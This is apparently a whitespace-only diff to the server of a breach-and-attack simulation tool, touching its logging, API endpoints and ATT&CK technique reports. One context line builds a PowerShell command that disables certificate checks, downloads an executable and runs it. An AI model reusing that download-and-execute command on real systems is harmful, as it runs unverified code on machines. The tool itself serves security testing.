"format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s"
|
"format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s"
|
||||||
}
|
|
||||||
},
|
|
||||||
|
|
||||||
"handlers": {
|
|
||||||
"console": {
|
|
||||||
"class": "logging.StreamHandler",
|
|
||||||
"level": "DEBUG",
|
|
||||||
"formatter": "simple",
|
|
||||||
"stream": "ext://sys.stdout"
|
|
||||||
},
|
|
||||||
|
|
||||||
"info_file_handler": {
|
|
||||||
"class": "logging.handlers.RotatingFileHandler",
|
|
||||||
"level": "INFO",
|
|
||||||
"formatter": "simple",
|
|
||||||
"filename": "info.log",
|
|
||||||
"maxBytes": 10485760,
|
|
||||||
"backupCount": 20,
|
|
||||||
"encoding": "utf8"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
|
|
||||||
"root": {
|
|
||||||
"level": "DEBUG",
|
|
||||||
"handlers": ["console", "info_file_handler"]
|
|
||||||
}
|
}
|
||||||
|
},
|
||||||
|
"handlers": {
|
||||||
|
"console": {
|
||||||
|
"class": "logging.StreamHandler",
|
||||||
|
"level": "DEBUG",
|
||||||
|
"formatter": "simple",
|
||||||
|
"stream": "ext://sys.stdout"
|
||||||
|
},
|
||||||
|
"info_file_handler": {
|
||||||
|
"class": "logging.handlers.RotatingFileHandler",
|
||||||
|
"level": "INFO",
|
||||||
|
"formatter": "simple",
|
||||||
|
"filename": "info.log",
|
||||||
|
"maxBytes": 10485760,
|
||||||
|
"backupCount": 20,
|
||||||
|
"encoding": "utf8"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"root": {
|
||||||
|
"level": "DEBUG",
|
||||||
|
"handlers": [
|
||||||
|
"console",
|
||||||
|
"info_file_handler"
|
||||||
|
]
|
||||||
|
}
|
||||||
}
|
}
|
|
@ -13,6 +13,7 @@ if BASE_PATH not in sys.path:
|
||||||
|
|
||||||
from monkey_island.cc.island_logger import json_setup_logging
|
from monkey_island.cc.island_logger import json_setup_logging
|
||||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||||
|
|
||||||
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
|
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
|
||||||
json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'),
|
json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'),
|
||||||
default_level=logging.DEBUG)
|
default_level=logging.DEBUG)
|
||||||
|
|
|
@ -43,6 +43,7 @@ class Monkey(Document):
|
||||||
tunnel = ReferenceField("self")
|
tunnel = ReferenceField("self")
|
||||||
command_control_channel = EmbeddedDocumentField(CommandControlChannel)
|
command_control_channel = EmbeddedDocumentField(CommandControlChannel)
|
||||||
aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS
|
aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS
|
||||||
|
|
||||||
# instance. See https://github.com/guardicore/monkey/issues/426.
|
# instance. See https://github.com/guardicore/monkey/issues/426.
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
|
|
@ -188,4 +188,3 @@ class TestMonkey(IslandTestCase):
|
||||||
|
|
||||||
cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info()
|
cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info()
|
||||||
self.assertEqual(cache_info_after_query.hits, 2)
|
self.assertEqual(cache_info_after_query.hits, 2)
|
||||||
|
|
||||||
|
|
|
@ -14,6 +14,7 @@ class TestFinding(IslandTestCase):
|
||||||
Also, the working directory needs to be the working directory from which you usually run the island so the
|
Also, the working directory needs to be the working directory from which you usually run the island so the
|
||||||
server.json file is found and loaded.
|
server.json file is found and loaded.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def test_save_finding_validation(self):
|
def test_save_finding_validation(self):
|
||||||
self.fail_if_not_testing_env()
|
self.fail_if_not_testing_env()
|
||||||
self.clean_finding_db()
|
self.clean_finding_db()
|
||||||
|
|
|
@ -27,4 +27,3 @@ class AttackConfiguration(flask_restful.Resource):
|
||||||
AttackConfig.update_config({'properties': json.loads(request.data)})
|
AttackConfig.update_config({'properties': json.loads(request.data)})
|
||||||
AttackConfig.apply_to_monkey_config()
|
AttackConfig.apply_to_monkey_config()
|
||||||
return {}
|
return {}
|
||||||
|
|
||||||
|
|
|
@ -16,6 +16,7 @@ from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||||
__author__ = 'Barak'
|
__author__ = 'Barak'
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -13,6 +13,7 @@ from monkey_island.cc.services.node import NodeService
|
||||||
|
|
||||||
__author__ = 'Barak'
|
__author__ = 'Barak'
|
||||||
|
|
||||||
|
|
||||||
# TODO: separate logic from interface
|
# TODO: separate logic from interface
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -27,5 +27,3 @@ class NetMap(flask_restful.Resource):
|
||||||
"nodes": monkeys + nodes + monkey_island,
|
"nodes": monkeys + nodes + monkey_island,
|
||||||
"edges": edges
|
"edges": edges
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -9,6 +9,7 @@ class PBAFileDownload(flask_restful.Resource):
|
||||||
"""
|
"""
|
||||||
File download endpoint used by monkey to download user's PBA file
|
File download endpoint used by monkey to download user's PBA file
|
||||||
"""
|
"""
|
||||||
|
|
||||||
# Used by monkey. can't secure.
|
# Used by monkey. can't secure.
|
||||||
def get(self, path):
|
def get(self, path):
|
||||||
return send_from_directory(GET_FILE_DIR, path)
|
return send_from_directory(GET_FILE_DIR, path)
|
||||||
|
|
|
@ -21,6 +21,7 @@ class FileUpload(flask_restful.Resource):
|
||||||
"""
|
"""
|
||||||
File upload endpoint used to exchange files with filepond component on the front-end
|
File upload endpoint used to exchange files with filepond component on the front-end
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@jwt_required()
|
@jwt_required()
|
||||||
def get(self, file_type):
|
def get(self, file_type):
|
||||||
"""
|
"""
|
||||||
|
|
|
@ -1,6 +1,5 @@
|
||||||
import http.client
|
import http.client
|
||||||
|
|
||||||
|
|
||||||
import flask_restful
|
import flask_restful
|
||||||
from flask import jsonify
|
from flask import jsonify
|
||||||
|
|
||||||
|
@ -28,10 +27,10 @@ class Report(flask_restful.Resource):
|
||||||
elif report_type == ZERO_TRUST_REPORT_TYPE:
|
elif report_type == ZERO_TRUST_REPORT_TYPE:
|
||||||
if report_data == REPORT_DATA_PILLARS:
|
if report_data == REPORT_DATA_PILLARS:
|
||||||
return jsonify({
|
return jsonify({
|
||||||
"statusesToPillars": ZeroTrustService.get_statuses_to_pillars(),
|
"statusesToPillars": ZeroTrustService.get_statuses_to_pillars(),
|
||||||
"pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(),
|
"pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(),
|
||||||
"grades": ZeroTrustService.get_pillars_grades()
|
"grades": ZeroTrustService.get_pillars_grades()
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
elif report_data == REPORT_DATA_PRINCIPLES_STATUS:
|
elif report_data == REPORT_DATA_PRINCIPLES_STATUS:
|
||||||
return jsonify(ZeroTrustService.get_principles_status())
|
return jsonify(ZeroTrustService.get_principles_status())
|
||||||
|
|
|
@ -37,12 +37,12 @@ class TestJsonRepresentations(TestCase):
|
||||||
|
|
||||||
# dicts and lists
|
# dicts and lists
|
||||||
self.assertEqual({
|
self.assertEqual({
|
||||||
"a": [
|
"a": [
|
||||||
{"ba": obj_id_str,
|
{"ba": obj_id_str,
|
||||||
"bb": obj_id_str}
|
"bb": obj_id_str}
|
||||||
],
|
],
|
||||||
"b": {"id": obj_id_str}
|
"b": {"id": obj_id_str}
|
||||||
},
|
},
|
||||||
normalize_obj({
|
normalize_obj({
|
||||||
"a": [
|
"a": [
|
||||||
{"ba": bson.objectid.ObjectId(obj_id_str),
|
{"ba": bson.objectid.ObjectId(obj_id_str),
|
||||||
|
|
|
@ -22,8 +22,8 @@ class TelemetryFeed(flask_restful.Resource):
|
||||||
if "null" == timestamp or timestamp is None: # special case to avoid ugly JS code...
|
if "null" == timestamp or timestamp is None: # special case to avoid ugly JS code...
|
||||||
telemetries = mongo.db.telemetry.find({})
|
telemetries = mongo.db.telemetry.find({})
|
||||||
else:
|
else:
|
||||||
telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}})\
|
telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}}) \
|
||||||
|
\
|
||||||
telemetries = telemetries.sort([('timestamp', flask_pymongo.ASCENDING)])
|
telemetries = telemetries.sort([('timestamp', flask_pymongo.ASCENDING)])
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
|
|
@ -2,7 +2,6 @@ from bson import json_util
|
||||||
import flask_restful
|
import flask_restful
|
||||||
from flask import request
|
from flask import request
|
||||||
|
|
||||||
|
|
||||||
from monkey_island.cc.auth import jwt_required
|
from monkey_island.cc.auth import jwt_required
|
||||||
from monkey_island.cc.database import mongo, database
|
from monkey_island.cc.database import mongo, database
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
{
|
{
|
||||||
"server_config": "standard",
|
"server_config": "standard",
|
||||||
"deployment": "develop"
|
"deployment": "develop"
|
||||||
}
|
}
|
||||||
|
|
|
@ -10,7 +10,6 @@ from monkey_island.cc.services.reporting.report_generation_synchronisation impor
|
||||||
|
|
||||||
__author__ = "VakarisZ"
|
__author__ = "VakarisZ"
|
||||||
|
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
TECHNIQUES = {'T1210': T1210.T1210,
|
TECHNIQUES = {'T1210': T1210.T1210,
|
||||||
|
@ -52,7 +51,7 @@ class AttackReportService:
|
||||||
Generates new report based on telemetries, replaces old report in db with new one.
|
Generates new report based on telemetries, replaces old report in db with new one.
|
||||||
:return: Report object
|
:return: Report object
|
||||||
"""
|
"""
|
||||||
report =\
|
report = \
|
||||||
{
|
{
|
||||||
'techniques': {},
|
'techniques': {},
|
||||||
'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()},
|
'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()},
|
||||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
||||||
|
|
||||||
|
|
||||||
class T1003(AttackTechnique):
|
class T1003(AttackTechnique):
|
||||||
|
|
||||||
tech_id = "T1003"
|
tech_id = "T1003"
|
||||||
unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed."
|
unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed."
|
||||||
scanned_msg = ""
|
scanned_msg = ""
|
||||||
|
|
|
@ -5,7 +5,6 @@ __author__ = "VakarisZ"
|
||||||
|
|
||||||
|
|
||||||
class T1005(AttackTechnique):
|
class T1005(AttackTechnique):
|
||||||
|
|
||||||
tech_id = "T1005"
|
tech_id = "T1005"
|
||||||
unscanned_msg = "Monkey didn't gather any sensitive data from local system."
|
unscanned_msg = "Monkey didn't gather any sensitive data from local system."
|
||||||
scanned_msg = ""
|
scanned_msg = ""
|
||||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
||||||
|
|
||||||
|
|
||||||
class T1016(AttackTechnique):
|
class T1016(AttackTechnique):
|
||||||
|
|
||||||
tech_id = "T1016"
|
tech_id = "T1016"
|
||||||
unscanned_msg = "Monkey didn't gather network configurations."
|
unscanned_msg = "Monkey didn't gather network configurations."
|
||||||
scanned_msg = ""
|
scanned_msg = ""
|
||||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
||||||
|
|
||||||
|
|
||||||
class T1018(AttackTechnique):
|
class T1018(AttackTechnique):
|
||||||
|
|
||||||
tech_id = "T1018"
|
tech_id = "T1018"
|
||||||
unscanned_msg = "Monkey didn't find any machines on the network."
|
unscanned_msg = "Monkey didn't find any machines on the network."
|
||||||
scanned_msg = ""
|
scanned_msg = ""
|
||||||
|
|
|
@ -3,7 +3,6 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique
|
||||||
from common.utils.attack_utils import ScanStatus
|
from common.utils.attack_utils import ScanStatus
|
||||||
from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
|
from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
|
||||||
|
|
||||||
|
|
||||||
__author__ = "VakarisZ"
|
__author__ = "VakarisZ"
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
||||||
|
|
||||||
|
|
||||||
class T1041(AttackTechnique):
|
class T1041(AttackTechnique):
|
||||||
|
|
||||||
tech_id = "T1041"
|
tech_id = "T1041"
|
||||||
unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel."
|
unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel."
|
||||||
scanned_msg = ""
|
scanned_msg = ""
|
||||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
||||||
|
|
||||||
|
|
||||||
class T1059(AttackTechnique):
|
class T1059(AttackTechnique):
|
||||||
|
|
||||||
tech_id = "T1059"
|
tech_id = "T1059"
|
||||||
unscanned_msg = "Monkey didn't exploit any machines to run commands at."
|
unscanned_msg = "Monkey didn't exploit any machines to run commands at."
|
||||||
scanned_msg = ""
|
scanned_msg = ""
|
||||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
||||||
|
|
||||||
|
|
||||||
class T1065(AttackTechnique):
|
class T1065(AttackTechnique):
|
||||||
|
|
||||||
tech_id = "T1065"
|
tech_id = "T1065"
|
||||||
unscanned_msg = ""
|
unscanned_msg = ""
|
||||||
scanned_msg = ""
|
scanned_msg = ""
|
||||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
||||||
|
|
||||||
|
|
||||||
class T1075(AttackTechnique):
|
class T1075(AttackTechnique):
|
||||||
|
|
||||||
tech_id = "T1075"
|
tech_id = "T1075"
|
||||||
unscanned_msg = "Monkey didn't try to use pass the hash attack."
|
unscanned_msg = "Monkey didn't try to use pass the hash attack."
|
||||||
scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed."
|
scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed."
|
||||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
||||||
|
|
||||||
|
|
||||||
class T1082(AttackTechnique):
|
class T1082(AttackTechnique):
|
||||||
|
|
||||||
tech_id = "T1082"
|
tech_id = "T1082"
|
||||||
unscanned_msg = "Monkey didn't gather any system info on the network."
|
unscanned_msg = "Monkey didn't gather any system info on the network."
|
||||||
scanned_msg = ""
|
scanned_msg = ""
|
||||||
|
@ -22,17 +21,17 @@ class T1082(AttackTechnique):
|
||||||
{'$project': {'_id': 0,
|
{'$project': {'_id': 0,
|
||||||
'machine': 1,
|
'machine': 1,
|
||||||
'collections': [
|
'collections': [
|
||||||
{'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$aws', {}]}]},
|
{'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$aws', {}]}]},
|
||||||
'name': {'$literal': 'Amazon Web Services info'}},
|
'name': {'$literal': 'Amazon Web Services info'}},
|
||||||
{'used': {'$and': [{'$ifNull': ['$process_list', False]}, {'$gt': ['$process_list', {}]}]},
|
{'used': {'$and': [{'$ifNull': ['$process_list', False]}, {'$gt': ['$process_list', {}]}]},
|
||||||
'name': {'$literal': 'Running process list'}},
|
'name': {'$literal': 'Running process list'}},
|
||||||
{'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$ne': ['$netstat', []]}]},
|
{'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$ne': ['$netstat', []]}]},
|
||||||
'name': {'$literal': 'Network connections'}},
|
'name': {'$literal': 'Network connections'}},
|
||||||
{'used': {'$and': [{'$ifNull': ['$ssh_info', False]}, {'$ne': ['$ssh_info', []]}]},
|
{'used': {'$and': [{'$ifNull': ['$ssh_info', False]}, {'$ne': ['$ssh_info', []]}]},
|
||||||
'name': {'$literal': 'SSH info'}},
|
'name': {'$literal': 'SSH info'}},
|
||||||
{'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]},
|
{'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]},
|
||||||
'name': {'$literal': 'Azure info'}}
|
'name': {'$literal': 'Azure info'}}
|
||||||
]}},
|
]}},
|
||||||
{'$group': {'_id': {'machine': '$machine', 'collections': '$collections'}}},
|
{'$group': {'_id': {'machine': '$machine', 'collections': '$collections'}}},
|
||||||
{"$replaceRoot": {"newRoot": "$_id"}}]
|
{"$replaceRoot": {"newRoot": "$_id"}}]
|
||||||
|
|
||||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
||||||
|
|
||||||
|
|
||||||
class T1086(AttackTechnique):
|
class T1086(AttackTechnique):
|
||||||
|
|
||||||
tech_id = "T1086"
|
tech_id = "T1086"
|
||||||
unscanned_msg = "Monkey didn't run powershell."
|
unscanned_msg = "Monkey didn't run powershell."
|
||||||
scanned_msg = ""
|
scanned_msg = ""
|
||||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
||||||
|
|
||||||
|
|
||||||
class T1090(AttackTechnique):
|
class T1090(AttackTechnique):
|
||||||
|
|
||||||
tech_id = "T1090"
|
tech_id = "T1090"
|
||||||
unscanned_msg = "Monkey didn't use connection proxy."
|
unscanned_msg = "Monkey didn't use connection proxy."
|
||||||
scanned_msg = ""
|
scanned_msg = ""
|
||||||
|
@ -20,5 +19,3 @@ class T1090(AttackTechnique):
|
||||||
data = T1090.get_base_data_by_status(status)
|
data = T1090.get_base_data_by_status(status)
|
||||||
data.update({'proxies': monkeys})
|
data.update({'proxies': monkeys})
|
||||||
return data
|
return data
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -5,7 +5,6 @@ __author__ = "VakarisZ"
|
||||||
|
|
||||||
|
|
||||||
class T1105(AttackTechnique):
|
class T1105(AttackTechnique):
|
||||||
|
|
||||||
tech_id = "T1105"
|
tech_id = "T1105"
|
||||||
unscanned_msg = "Monkey didn't try to copy files to any systems."
|
unscanned_msg = "Monkey didn't try to copy files to any systems."
|
||||||
scanned_msg = "Monkey tried to copy files, but failed."
|
scanned_msg = "Monkey tried to copy files, but failed."
|
||||||
|
|
|
@ -46,5 +46,3 @@ class T1110(AttackTechnique):
|
||||||
|
|
||||||
data.update({'services': attempts})
|
data.update({'services': attempts})
|
||||||
return data
|
return data
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
||||||
|
|
||||||
|
|
||||||
class T1188(AttackTechnique):
|
class T1188(AttackTechnique):
|
||||||
|
|
||||||
tech_id = "T1188"
|
tech_id = "T1188"
|
||||||
unscanned_msg = "Monkey didn't use multi-hop proxy."
|
unscanned_msg = "Monkey didn't use multi-hop proxy."
|
||||||
scanned_msg = ""
|
scanned_msg = ""
|
||||||
|
|
|
@ -6,7 +6,6 @@ __author__ = "VakarisZ"
|
||||||
|
|
||||||
|
|
||||||
class T1210(AttackTechnique):
|
class T1210(AttackTechnique):
|
||||||
|
|
||||||
tech_id = "T1210"
|
tech_id = "T1210"
|
||||||
unscanned_msg = "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?"
|
unscanned_msg = "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?"
|
||||||
scanned_msg = "Monkey scanned for remote services on the network, but couldn't exploit any of them."
|
scanned_msg = "Monkey scanned for remote services on the network, but couldn't exploit any of them."
|
||||||
|
@ -30,8 +29,8 @@ class T1210(AttackTechnique):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_scanned_services():
|
def get_scanned_services():
|
||||||
results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'scan'}},
|
results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'scan'}},
|
||||||
{'$sort': {'data.service_count': -1}},
|
{'$sort': {'data.service_count': -1}},
|
||||||
{'$group': {
|
{'$group': {
|
||||||
'_id': {'ip_addr': '$data.machine.ip_addr'},
|
'_id': {'ip_addr': '$data.machine.ip_addr'},
|
||||||
'machine': {'$first': '$data.machine'},
|
'machine': {'$first': '$data.machine'},
|
||||||
'time': {'$first': '$timestamp'}}}])
|
'time': {'$first': '$timestamp'}}}])
|
||||||
|
|
|
@ -15,7 +15,6 @@ __author__ = "itay.mizeretz"
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
# This should be used for config values of array type (array of strings only)
|
# This should be used for config values of array type (array of strings only)
|
||||||
ENCRYPTED_CONFIG_ARRAYS = \
|
ENCRYPTED_CONFIG_ARRAYS = \
|
||||||
[
|
[
|
||||||
|
@ -266,11 +265,11 @@ class ConfigService:
|
||||||
# Check if array of shh key pairs and then decrypt
|
# Check if array of shh key pairs and then decrypt
|
||||||
if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]:
|
if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]:
|
||||||
config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \
|
config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \
|
||||||
ConfigService.decrypt_ssh_key_pair(config_arr[i], True)
|
ConfigService.decrypt_ssh_key_pair(config_arr[i], True)
|
||||||
else:
|
else:
|
||||||
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
|
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
|
||||||
else:
|
else:
|
||||||
parent_config_arr[config_arr_as_array[-1]] =\
|
parent_config_arr[config_arr_as_array[-1]] = \
|
||||||
encryptor.dec(config_arr) if is_decrypt else encryptor.enc(config_arr)
|
encryptor.dec(config_arr) if is_decrypt else encryptor.enc(config_arr)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
|
|
@ -6,7 +6,6 @@ from monkey_island.cc.services.post_breach_files import remove_PBA_files
|
||||||
from flask import jsonify
|
from flask import jsonify
|
||||||
from monkey_island.cc.database import mongo
|
from monkey_island.cc.database import mongo
|
||||||
|
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
@ -28,4 +27,3 @@ class Database(object):
|
||||||
def init_db():
|
def init_db():
|
||||||
if not mongo.db.collection_names():
|
if not mongo.db.collection_names():
|
||||||
Database.reset_db()
|
Database.reset_db()
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,5 @@
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
__author__ = "Maor.Rayzin"
|
__author__ = "Maor.Rayzin"
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
|
@ -1,4 +1,3 @@
|
||||||
|
|
||||||
__author__ = 'maor.rayzin'
|
__author__ = 'maor.rayzin'
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -130,7 +130,7 @@ class RemoteRunAwsService:
|
||||||
return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \
|
return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \
|
||||||
r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \
|
r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \
|
||||||
r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \
|
r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \
|
||||||
r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; "
|
r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; "
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _get_run_monkey_cmd_line(is_linux, is_64bit, island_ip):
|
def _get_run_monkey_cmd_line(is_linux, is_64bit, island_ip):
|
||||||
|
|
|
@ -208,9 +208,9 @@ class AWSExporter(Exporter):
|
||||||
description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']),
|
description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']),
|
||||||
recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated "
|
recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated "
|
||||||
"over the SSH protocol with private key {ssh_key}.".format(
|
"over the SSH protocol with private key {ssh_key}.".format(
|
||||||
machine=issue['machine'],
|
machine=issue['machine'],
|
||||||
ip_address=issue['ip_address'],
|
ip_address=issue['ip_address'],
|
||||||
ssh_key=issue['ssh_key']),
|
ssh_key=issue['ssh_key']),
|
||||||
instance_arn=instance_arn,
|
instance_arn=instance_arn,
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
)
|
)
|
||||||
|
@ -224,8 +224,8 @@ class AWSExporter(Exporter):
|
||||||
description="Update your Elastic Search server to version 1.4.3 and up.",
|
description="Update your Elastic Search server to version 1.4.3 and up.",
|
||||||
recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made "
|
recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made "
|
||||||
"possible because the Elastic Search server was not patched against CVE-2015-1427.".format(
|
"possible because the Elastic Search server was not patched against CVE-2015-1427.".format(
|
||||||
issue['machine'],
|
issue['machine'],
|
||||||
issue['ip_address']),
|
issue['ip_address']),
|
||||||
instance_arn=instance_arn,
|
instance_arn=instance_arn,
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
)
|
)
|
||||||
|
@ -269,7 +269,7 @@ class AWSExporter(Exporter):
|
||||||
recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. "
|
recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. "
|
||||||
"The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a "
|
"The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a "
|
||||||
"shell injection attack on the paths: {3}.".format(
|
"shell injection attack on the paths: {3}.".format(
|
||||||
issue['machine'], issue['ip_address'], issue['port'], issue['paths']),
|
issue['machine'], issue['ip_address'], issue['port'], issue['paths']),
|
||||||
instance_arn=instance_arn,
|
instance_arn=instance_arn,
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
)
|
)
|
||||||
|
@ -284,9 +284,9 @@ class AWSExporter(Exporter):
|
||||||
"network.".format(issue['username']),
|
"network.".format(issue['username']),
|
||||||
recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB "
|
recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB "
|
||||||
"protocol with user {2} and its password.".format(
|
"protocol with user {2} and its password.".format(
|
||||||
issue['machine'],
|
issue['machine'],
|
||||||
issue['ip_address'],
|
issue['ip_address'],
|
||||||
issue['username']),
|
issue['username']),
|
||||||
instance_arn=instance_arn,
|
instance_arn=instance_arn,
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
)
|
)
|
||||||
|
@ -301,9 +301,9 @@ class AWSExporter(Exporter):
|
||||||
"network.",
|
"network.",
|
||||||
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over "
|
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over "
|
||||||
"the WMI protocol with user {username} and its password.".format(
|
"the WMI protocol with user {username} and its password.".format(
|
||||||
machine=issue['machine'],
|
machine=issue['machine'],
|
||||||
ip_address=issue['ip_address'],
|
ip_address=issue['ip_address'],
|
||||||
username=issue['username']),
|
username=issue['username']),
|
||||||
instance_arn=instance_arn,
|
instance_arn=instance_arn,
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
)
|
)
|
||||||
|
@ -318,9 +318,9 @@ class AWSExporter(Exporter):
|
||||||
"network.".format(issue['username']),
|
"network.".format(issue['username']),
|
||||||
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a "
|
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a "
|
||||||
"pass-the-hash attack over WMI protocol with user {username}".format(
|
"pass-the-hash attack over WMI protocol with user {username}".format(
|
||||||
machine=issue['machine'],
|
machine=issue['machine'],
|
||||||
ip_address=issue['ip_address'],
|
ip_address=issue['ip_address'],
|
||||||
username=issue['username']),
|
